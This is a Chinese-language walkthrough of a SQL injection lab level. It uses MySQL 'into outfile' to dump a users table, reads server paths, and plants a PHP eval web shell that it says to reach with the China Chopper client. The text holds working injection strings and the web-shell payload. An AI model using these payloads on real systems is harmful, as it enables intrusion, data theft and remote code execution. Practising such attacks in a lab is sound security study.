根据提示,输入id参数1
输入1'
出现报错信息,可是并没有错误的描述信息
输入1"
,返回正常
这里和前面基本一样,只有两种回显结果,但是唯一的区别就是错误回显并没有详细的错误描述。这下不好办了,怎么才能从数据库得到我们想要的数据呢???
注意返回正常时的回显语句You are in.... Use outfile......
可以看到,这里给出了提示Use outfile......
敲黑板!!!这就是出路啊。
关于mysql 的outfile的用法及说明,可以看这篇博文https://blog.csdn.net/jcy1009015337/article/details/53038104
简单的说,就是用该方法可以将查询到的结果输出到文件中。这就很美好了,因为在前台无法输出我们想得到的数据,通过该方法,那么我们仍然可以得到查询结果。
构造语句,输入
1')) union select * into outfile 'D://data.txt' from users%23
报错,,,,在D盘下也并没有发现data.txt文件
查找原因,发现是mysql在配置文件中限制了导入导出的路径,没办法,要想达到我们的目的,就要知道这个路径,那么如何获取这个路径呢?
- @@datadir数据库存储路径
- @@basedir mysql安装路径
由于在第七节中无法输出信息,所以我们在前几节中构造语句来输出这两个信息,比如借助第一节
0' union select 1,@@datadir,@@basedir%23
构造以下语句上传一句话木马,
1')) union select 1,2,'<?php @eval($_POST["aaa"]);?>' into outfile 'e:\\wamp64\\tmp\\data.php'%23
虽然有报错,但是仍然生成了data.php文件在e:\\wamp64\\tmp\\
用菜刀连接